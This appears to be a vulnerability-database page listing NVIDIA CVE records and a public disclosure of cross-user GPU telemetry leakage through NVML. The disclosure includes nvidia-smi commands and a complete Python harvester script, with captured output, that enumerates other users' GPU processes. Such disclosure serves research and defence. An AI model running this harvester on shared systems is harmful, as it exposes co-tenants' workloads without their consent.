"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:02:29.276Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61757"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61757"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61757",
"datePublished": "2026-09-01T16:02:29.276Z",
"dateReserved": "2026-07-10T19:03:51.556Z",
"dateUpdated": "2026-09-01T16:28:55.295Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-47625 (GCVE-0-2026-47625)
Vulnerability from cvelistv5 – Published: 2026-09-08 16:09 – Updated: 2026-09-08 18:01
VLAI
EPSS
VEX
Summary
NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker could abuse missing authorization. A successful exploit of this vulnerability might lead to information disclosure, data tampering, and denial of service.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-08 18:01 UTC
CWE
- CWE-862 - Missing Authorization
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Triton Inference Server |
Affected:
0.0-26.03
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-47625",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-08T18:01:40.172556Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T18:01:46.533Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Linux"
],
"product": "Triton Inference Server",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0-26.03"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker could abuse missing authorization. A successful exploit of this vulnerability might lead to information disclosure, data tampering, and denial of service."
}
],
"value": "NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker could abuse missing authorization. A successful exploit of this vulnerability might lead to information disclosure, data tampering, and denial of service."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "data tampering, denial of service, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-862",
"description": "CWE-862 Missing Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T16:09:09.303Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47625"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47625"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5875"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-47625",
"datePublished": "2026-09-08T16:09:09.303Z",
"dateReserved": "2026-05-19T19:55:52.529Z",
"dateUpdated": "2026-09-08T18:01:46.533Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-16497 (GCVE-0-2026-16497)
Vulnerability from cvelistv5 – Published: 2026-09-08 16:09 – Updated: 2026-09-08 18:03
VLAI
EPSS
VEX
Summary
NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker could cause excessive iteration. A successful exploit of this vulnerability might lead to denial of service.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-08 18:02 UTC
CWE
- CWE-834 - Excessive Iteration
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Triton Inference Server |
Affected:
0.0-26.06
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-16497",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-08T18:02:05.398606Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T18:03:39.875Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Linux"
],
"product": "Triton Inference Server",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0-26.06"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker could cause excessive iteration. A successful exploit of this vulnerability might lead to denial of service."
}
],
"value": "NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker could cause excessive iteration. A successful exploit of this vulnerability might lead to denial of service."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "denial of service"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-834",
"description": "CWE-834 Excessive Iteration",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T16:09:08.391Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16497"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16497"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5875"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-16497",
"datePublished": "2026-09-08T16:09:08.391Z",
"dateReserved": "2026-07-21T17:05:13.737Z",
"dateUpdated": "2026-09-08T18:03:39.875Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0298
Vulnerability from gna-1988 – Published: 2026-09-08 11:40 – Updated: 2026-09-09 10:10
VLAI
EPSS
VEX
Title
NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML, no CVE (vendor: expected behavior)
Summary
NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML
============================================================================
On a multi-user Linux GPU host where mutually untrusted users can open
the same /dev/nvidia* devices - the driver's default mode is 0666 - an
unprivileged user can enumerate another user's GPU processes and
per-process GPU telemetry through standard NVML management APIs. NVML
directly returned the foreign PID, the per-process GPU-memory
allocation and the SM utilization; nvidia-smi additionally displayed
the process path, but the corresponding direct
nvmlSystemGetProcessName() call was not captured. Measured on one
configuration: A100, MIG off, bare metal, two local UIDs. No root, no
gpu/video/render group membership, no capabilities, no CUDA context of
the attacker's own, no performance counters, no injected traffic, no
race. The attacker learns, for processes belonging to other users:
PID, per-process GPU memory allocation, per-process SM utilization,
and - via nvidia-smi - the binary path. Read-only workload metadata;
no GPU memory contents are read. NVIDIA reviewed the finding and
determined it is expected behavior.
Affected: NVIDIA Linux GPU driver, NVML management plane
Tested: 595.71.05-open; core channels also reproduced on 565.57.01-open
Hardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off
Platform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9
(driver-reported runtime 13.2)
CWE: CWE-200 (exposure of information to an unauthorized actor),
CWE-862 (missing authorization)
Status: Closed by NVIDIA as expected behavior. No fix. Public
disclosure authorized by NVIDIA PSIRT 2026-08-20.
CVE: none assigned
Ref: Intigriti NVIDIA-W5AB0FZR
Companion: "NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via
undocumented peer-teardown ordering" - same node, same driver, same
0666 precondition
Root Cause
----------
Two independent facts compound.
(a) /dev/nvidia* is mode 0666 by driver default. This is set by the
kernel module, not by a site udev rule.
# grep -E 'ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly'
/proc/driver/nvidia/params
ModifyDeviceFiles: 1
DeviceFileMode: 438
RmProfilingAdminOnly: 1
438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module
rewrites existing device files to match its own defaults, so an
administrator who tightens the mode out-of-band can have it reverted
on module reload. The vendor sources agree: open-gpu-kernel-modules
carries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in
kernel-open/nvidia/nv-reg.h with the comment "The default mode is 0666
(octal, rw-rw-rw-)", and the driver README "Device files" section
documents UID 0 / GID 0 / Mode 0666 as the default, adding "Existing
device files are changed if their attributes don't match these
defaults."
(b) NVML management APIs apply no UID, cgroup, or capability check to
a caller holding that file descriptor. Any opener receives the
node-wide management view.
+------------------+ +-------------------+
| victim uid 1000 | | attacker uid 1011 |
| CUDA workload | | no groups, Cap=0 |
+--------+---------+ +---------+---------+
| |
| open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666)
v v
+-----------------------------------------------------------------------+
| nvidia.ko -> NVML management plane |
| |
| nvmlDeviceGetComputeRunningProcesses() -> ALL pids, ALL uids |
| nvmlDeviceGetProcessUtilization() -> ALL pids, ALL uids |
| ^ |
| +--- no ownership check anywhere on this path|
+-----------------------------------------------------------------------+
NVML already has the concept of privilege-gating this exact call -
just not in ordinary shared-GPU mode. From nvml.h, on both
nvmlDeviceGetComputeRunningProcesses_v3 and
nvmlDeviceGetMPSComputeRunningProcesses_v3:
"In MIG mode, if device handle is provided, the API returns aggregate
information,
only if the caller has appropriate privileges."
So under MIG, process enumeration through the physical-device handle
is privilege-gated. Outside MIG there is no corresponding UID
ownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3
documents NVML_ERROR_NO_PERMISSION in its return list and does not
return it here; nvmlDeviceGetProcessUtilization and
nvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error
at all.
Note RmProfilingAdminOnly: 1 in the same params output. The CUPTI
performance-counter plane IS gated behind CAP_SYS_ADMIN on this exact
node - that gate was added as the fix for CVE-2018-6260. The NVML
per-process management plane received no equivalent gate. That
asymmetry is the finding.
Attacker Prerequisites
----------------------
A shell account on the node. The observer used for all captured runs:
uid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser)
CapInh: 0000000000000000 -> NONE
CapPrm: 0000000000000000 -> NONE
CapEff: 0000000000000000 -> NONE
CapAmb: 0000000000000000 -> NONE
CapBnd: 000001ffffffffff
No sudo. Not in sudo/wheel/admin/docker/video/gpu/render.
No Docker socket. Cannot load kernel modules. Cannot ptrace other
users' processes.
Proof of Concept
----------------
Victim, uid 1000 - any long-running CUDA workload. The captured runs
used nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a
CUDA context works; this needs only pytorch:
python3 -c "import torch,time
x=torch.randn(8192,8192,device='cuda')
while True: x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)"
Attacker, uid 1011, via the shipped CLI:
nvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory
--format=csv,noheader
nvidia-smi pmon -c 3
nvidia-smi nvlink -gt d
That first command, run by an unprivileged user with no group
membership, is the entire exploit. Everything below is the same read
straight through NVML. Captured output as uid 1011 against the uid
1000 victim:
pid, process_name, used_gpu_memory [MiB], gpu_uuid
77977, /usr/local/bin/all_reduce_perf, 2288 MiB,
GPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278
77977, /usr/local/bin/all_reduce_perf, 2288 MiB,
GPU-fe44d319-939f-d747-de55-6802405cad8d
Full PoC code, harnesses and raw evidence for both findings:
<https://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc&source=gmail&ust=1787513712074000&sa=E>
Straight through NVML with no nvidia-smi involved. This is the complete exploit:
#!/usr/bin/env python3
# unprivileged cross-UID GPU telemetry harvester
# run as any local user: python3 harvest.py
# pip install nvidia-ml-py (provides the `pynvml` module; the standalone
# `pynvml` PyPI package is a deprecated shim as of v12)
import os, pwd, pynvml
def owner(pid):
try: return os.stat("/proc/%d" % pid).st_uid
except: return None
def exe(pid):
# Tries NVML first. NOTE: this direct call was not verified cross-UID here -
# see the note below the output. Falls back to cmdline, never to exe.
try:
n = pynvml.nvmlSystemGetProcessName(pid)
return n.decode() if isinstance(n, bytes) else n
except Exception:
# /proc/<pid>/cmdline is world-readable - this is how ps(1) shows other
# users' command lines. /proc/<pid>/exe is NOT: readlink on it needs
# PTRACE_MODE_READ, which this attacker does not have.
try: return open("/proc/%d/cmdline" % pid,"rb").read().split(b"\0")[0].decode()
except: return "?"
def owner_name(u):
try: return pwd.getpwuid(u).pw_name
except KeyError: return str(u) # no passwd entry: LDAP, containers
pynvml.nvmlInit()
me = os.getuid()
found = 0
for i in range(pynvml.nvmlDeviceGetCount()):
h = pynvml.nvmlDeviceGetHandleByIndex(i)
# cross-UID process table + per-process GPU memory
for p in pynvml.nvmlDeviceGetComputeRunningProcesses(h):
u = owner(p.pid)
if u is not None and u != me:
found += 1
print("[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s" % (
i, p.pid, u, owner_name(u),
(p.usedGpuMemory or 0) >> 20, exe(p.pid)))
# cross-UID per-process SM / memory-controller utilization.
# arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are
# returned, so a small constant drains everything the driver still buffers.
try:
for pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000):
u = owner(pu.pid)
if u is not None and u != me:
print("[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%" % (
i, pu.pid, u, pu.smUtil, pu.memUtil))
except pynvml.NVMLError as e:
# NVML_ERROR_NOT_FOUND here means the driver's sample buffer is empty,
# NOT that the call is gated. Poll for a few seconds and retry.
print(" nvmlDeviceGetProcessUtilization -> %s" % e)
# device-global telemetry, no gate at all
print("[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB" % (
i, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0,
pynvml.nvmlDeviceGetUtilizationRates(h).gpu,
pynvml.nvmlDeviceGetMemoryInfo(h).used >> 20))
if not found:
print("no cross-UID GPU processes visible (is a victim workload running?)")
Output:
[CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB
exe=/usr/local/bin/all_reduce_perf
[CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB
exe=/usr/local/bin/all_reduce_perf
[CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41%
NVML supplies the PID and the GPU memory figure. The binary path came
from nvidia-smi --query-compute-apps=process_name, which is
NVML-backed and returned the full path /usr/local/bin/all_reduce_perf
to the unprivileged observer - that output is captured. The direct
call, nvmlSystemGetProcessName(), is what the PoC above uses and it is
NOT something I captured cross-UID; NVML documents
NVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather
than taking it from me. The captured harness resolved names through
/proc. Note that /proc/<pid>/exe is not readable cross-UID, so if you
fall back to procfs use /proc/<pid>/cmdline, not exe. The only field
procfs is needed for is the owning UID, via stat() on /proc/<pid>.
Polling nvmlDeviceGetProcessUtilization in a loop yields a per-victim
SM utilization time series. What that supports on the evidence here is
busy-versus-idle and job start/stop. Finer structure - step cadence,
phase boundaries - is plausible but was not demonstrated, and I do not
claim it.
Results: 5/5 positive sessions with all seven machine-scored success
criteria passing, and 2/2 negative controls (no victim workload, no
cross-UID records) confirming the signal tracks the victim. For every
compute-app row root could see, the unprivileged observer saw a
matching row - same PID, same binary name, same GPU - in all five
positive sessions. That comparison is field-level (whitespace and row
order normalized, process name compared by basename), not a byte diff.
All channels leak with GPU accounting mode disabled, which is the
fresh default, so this is not a case of an administrator having
enabled accounting.
Telemetry Channels
------------------
Channel NVML API CLI Result
----------------------------- ---------------------------------------
---------------------- --------------------------
Process PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps
LEAKS (redundant with ps)
Binary path nvidia-smi's NVML-backed query --query-compute-apps LEAKS
(captured); direct
(nvmlSystemGetProcessName NOT captured) NVML call unverified
Per-process GPU memory nvmlDeviceGetComputeRunningProcesses
--query-compute-apps LEAKS - GPU-specific
Per-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS
- GPU-specific
NVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink
-gt d LEAKS via CLI - prior art
NVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS
Device power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global)
Impact
------
A low-privileged tenant on a shared HPC or AI node passively monitors
co-tenants in real time: who is running GPU work, which binary, the
GPU memory footprint (a model-size proxy), the SM utilization timeline
(training and idle cadence, step rate, job boundaries), and NVLink
pair activity (distributed job topology).
No computation content is read - no weights, a
Severity
No CVSS data available.
Assigner
References
6 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Nvidia | NVIDIA Linux GPU |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0298 (this record)
- related CVE-2018-6260
- related CVE-2021-1056
{
"containers": {
"cna": {
"affected": [
{
"product": "NVIDIA Linux GPU",
"vendor": "Nvidia",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Abhinav Agarwal"
}
],
"descriptions": [
{
"lang": "en",
"value": "NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML\n============================================================================\n\nOn a multi-user Linux GPU host where mutually untrusted users can open\nthe same /dev/nvidia* devices - the driver\u0027s default mode is 0666 - an\nunprivileged user can enumerate another user\u0027s GPU processes and\nper-process GPU telemetry through standard NVML management APIs. NVML\ndirectly returned the foreign PID, the per-process GPU-memory\nallocation and the SM utilization; nvidia-smi additionally displayed\nthe process path, but the corresponding direct\nnvmlSystemGetProcessName() call was not captured. Measured on one\nconfiguration: A100, MIG off, bare metal, two local UIDs. No root, no\ngpu/video/render group membership, no capabilities, no CUDA context of\nthe attacker\u0027s own, no performance counters, no injected traffic, no\nrace. The attacker learns, for processes belonging to other users:\nPID, per-process GPU memory allocation, per-process SM utilization,\nand - via nvidia-smi - the binary path. Read-only workload metadata;\nno GPU memory contents are read. NVIDIA reviewed the finding and\ndetermined it is expected behavior.\n\nAffected: NVIDIA Linux GPU driver, NVML management plane\nTested: 595.71.05-open; core channels also reproduced on 565.57.01-open\nHardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off\nPlatform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9\n(driver-reported runtime 13.2)\nCWE: CWE-200 (exposure of information to an unauthorized actor),\nCWE-862 (missing authorization)\nStatus: Closed by NVIDIA as expected behavior. No fix. Public\ndisclosure authorized by NVIDIA PSIRT 2026-08-20.\nCVE: none assigned\nRef: Intigriti NVIDIA-W5AB0FZR\nCompanion: \"NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via\nundocumented peer-teardown ordering\" - same node, same driver, same\n0666 precondition\n\n\nRoot Cause\n----------\n\nTwo independent facts compound.\n\n(a) /dev/nvidia* is mode 0666 by driver default. This is set by the\nkernel module, not by a site udev rule.\n\n# grep -E \u0027ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly\u0027\n/proc/driver/nvidia/params\nModifyDeviceFiles: 1\nDeviceFileMode: 438\nRmProfilingAdminOnly: 1\n\n438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module\nrewrites existing device files to match its own defaults, so an\nadministrator who tightens the mode out-of-band can have it reverted\non module reload. The vendor sources agree: open-gpu-kernel-modules\ncarries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in\nkernel-open/nvidia/nv-reg.h with the comment \"The default mode is 0666\n(octal, rw-rw-rw-)\", and the driver README \"Device files\" section\ndocuments UID 0 / GID 0 / Mode 0666 as the default, adding \"Existing\ndevice files are changed if their attributes don\u0027t match these\ndefaults.\"\n\n(b) NVML management APIs apply no UID, cgroup, or capability check to\na caller holding that file descriptor. Any opener receives the\nnode-wide management view.\n\n+------------------+ +-------------------+\n| victim uid 1000 | | attacker uid 1011 |\n| CUDA workload | | no groups, Cap=0 |\n+--------+---------+ +---------+---------+\n| |\n| open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666)\nv v\n+-----------------------------------------------------------------------+\n| nvidia.ko -\u003e NVML management plane |\n| |\n| nvmlDeviceGetComputeRunningProcesses() -\u003e ALL pids, ALL uids |\n| nvmlDeviceGetProcessUtilization() -\u003e ALL pids, ALL uids |\n| ^ |\n| +--- no ownership check anywhere on this path|\n+-----------------------------------------------------------------------+\n\nNVML already has the concept of privilege-gating this exact call -\njust not in ordinary shared-GPU mode. From nvml.h, on both\nnvmlDeviceGetComputeRunningProcesses_v3 and\nnvmlDeviceGetMPSComputeRunningProcesses_v3:\n\n\"In MIG mode, if device handle is provided, the API returns aggregate\ninformation,\nonly if the caller has appropriate privileges.\"\n\nSo under MIG, process enumeration through the physical-device handle\nis privilege-gated. Outside MIG there is no corresponding UID\nownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3\ndocuments NVML_ERROR_NO_PERMISSION in its return list and does not\nreturn it here; nvmlDeviceGetProcessUtilization and\nnvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error\nat all.\n\nNote RmProfilingAdminOnly: 1 in the same params output. The CUPTI\nperformance-counter plane IS gated behind CAP_SYS_ADMIN on this exact\nnode - that gate was added as the fix for CVE-2018-6260. The NVML\nper-process management plane received no equivalent gate. That\nasymmetry is the finding.\n\n\nAttacker Prerequisites\n----------------------\n\nA shell account on the node. The observer used for all captured runs:\n\nuid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser)\n\nCapInh: 0000000000000000 -\u003e NONE\nCapPrm: 0000000000000000 -\u003e NONE\nCapEff: 0000000000000000 -\u003e NONE\nCapAmb: 0000000000000000 -\u003e NONE\nCapBnd: 000001ffffffffff\n\nNo sudo. Not in sudo/wheel/admin/docker/video/gpu/render.\nNo Docker socket. Cannot load kernel modules. Cannot ptrace other\nusers\u0027 processes.\n\n\nProof of Concept\n----------------\n\nVictim, uid 1000 - any long-running CUDA workload. The captured runs\nused nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a\nCUDA context works; this needs only pytorch:\n\npython3 -c \"import torch,time\nx=torch.randn(8192,8192,device=\u0027cuda\u0027)\nwhile True: x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)\"\n\nAttacker, uid 1011, via the shipped CLI:\n\nnvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory\n--format=csv,noheader\nnvidia-smi pmon -c 3\nnvidia-smi nvlink -gt d\n\nThat first command, run by an unprivileged user with no group\nmembership, is the entire exploit. Everything below is the same read\nstraight through NVML. Captured output as uid 1011 against the uid\n1000 victim:\n\npid, process_name, used_gpu_memory [MiB], gpu_uuid\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-fe44d319-939f-d747-de55-6802405cad8d\n\nFull PoC code, harnesses and raw evidence for both findings:\n\u003chttps://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u0026source=gmail\u0026ust=1787513712074000\u0026sa=E\u003e\n\nStraight through NVML with no nvidia-smi involved. This is the complete exploit:\n\n#!/usr/bin/env python3\n# unprivileged cross-UID GPU telemetry harvester\n# run as any local user: python3 harvest.py\n# pip install nvidia-ml-py (provides the `pynvml` module; the standalone\n# `pynvml` PyPI package is a deprecated shim as of v12)\nimport os, pwd, pynvml\n\ndef owner(pid):\ntry: return os.stat(\"/proc/%d\" % pid).st_uid\nexcept: return None\n\ndef exe(pid):\n# Tries NVML first. NOTE: this direct call was not verified cross-UID here -\n# see the note below the output. Falls back to cmdline, never to exe.\ntry:\nn = pynvml.nvmlSystemGetProcessName(pid)\nreturn n.decode() if isinstance(n, bytes) else n\nexcept Exception:\n# /proc/\u003cpid\u003e/cmdline is world-readable - this is how ps(1) shows other\n# users\u0027 command lines. /proc/\u003cpid\u003e/exe is NOT: readlink on it needs\n# PTRACE_MODE_READ, which this attacker does not have.\ntry: return open(\"/proc/%d/cmdline\" % pid,\"rb\").read().split(b\"\\0\")[0].decode()\nexcept: return \"?\"\n\ndef owner_name(u):\ntry: return pwd.getpwuid(u).pw_name\nexcept KeyError: return str(u) # no passwd entry: LDAP, containers\n\npynvml.nvmlInit()\nme = os.getuid()\nfound = 0\nfor i in range(pynvml.nvmlDeviceGetCount()):\nh = pynvml.nvmlDeviceGetHandleByIndex(i)\n\n# cross-UID process table + per-process GPU memory\nfor p in pynvml.nvmlDeviceGetComputeRunningProcesses(h):\nu = owner(p.pid)\nif u is not None and u != me:\nfound += 1\nprint(\"[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s\" % (\ni, p.pid, u, owner_name(u),\n(p.usedGpuMemory or 0) \u003e\u003e 20, exe(p.pid)))\n\n# cross-UID per-process SM / memory-controller utilization.\n# arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are\n# returned, so a small constant drains everything the driver still buffers.\ntry:\nfor pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000):\nu = owner(pu.pid)\nif u is not None and u != me:\nprint(\"[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%\" % (\ni, pu.pid, u, pu.smUtil, pu.memUtil))\nexcept pynvml.NVMLError as e:\n# NVML_ERROR_NOT_FOUND here means the driver\u0027s sample buffer is empty,\n# NOT that the call is gated. Poll for a few seconds and retry.\nprint(\" nvmlDeviceGetProcessUtilization -\u003e %s\" % e)\n\n# device-global telemetry, no gate at all\nprint(\"[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB\" % (\ni, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0,\npynvml.nvmlDeviceGetUtilizationRates(h).gpu,\npynvml.nvmlDeviceGetMemoryInfo(h).used \u003e\u003e 20))\n\nif not found:\nprint(\"no cross-UID GPU processes visible (is a victim workload running?)\")\n\nOutput:\n\n[CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41%\n\nNVML supplies the PID and the GPU memory figure. The binary path came\nfrom 